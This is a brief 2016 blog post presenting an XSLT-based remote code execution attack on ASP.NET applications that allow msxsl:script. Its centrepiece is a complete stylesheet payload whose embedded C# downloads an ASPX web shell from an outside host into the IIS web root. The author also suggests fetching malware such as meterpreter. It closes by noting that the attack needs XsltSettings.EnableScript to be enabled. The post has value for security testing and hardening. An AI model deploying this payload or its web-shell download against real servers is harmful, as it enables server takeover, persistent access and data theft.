Wednesday, May 25, 2016

XML Attack for C# Remote Code Execution

For whatever reason, Microsoft decided XML needed to be Turing complete. They created an XSL schema which allows for C# code execution in order to fill in the value of an XML element.

If an ASP.NET web application parses XML, it may be susceptible to this attack. If vulnerable, an attacker gains remote code execution on the web server. Crazy right? It is similar in exploitation as traditional XML Entity Expansion (XXE) attacks. Gaining direct code execution with traditional XXE requires extremely rare edge cases where certain protocols are supported by the server. This is more straight forward: supply whatever C# you want to run.

The payload in this example XML document downloads a web shell into the IIS web root. Of course, you can craft a more sophisticated payload, or perhaps just download and run some malware (such as msfvenom/meterpreter). In many cases of a successful exploitation, and depending on the application code, the application may echo out the final string "Exploit Success" in the HTTP response.

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xml()
{
    System.Net.WebClient webClient = new System.Net.WebClient();
    webClient.DownloadFile("https://x.x.x.x/shell.aspx",
                       @"c:\inetpub\wwwroot\shell.aspx");

    return "Exploit Success";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>

Note: I've never gotten the "using" directive to work correctly, but have found the fully qualified namespaces of the classes (e.g. System.Net.WebClient) works fine.

This is kind of a hidden gem, it was hard to find good information about this.

Thanks to Martin Bajanik for finding this information: this attack is possible when XsltSettings.EnableScript is set to true, but it is false by default.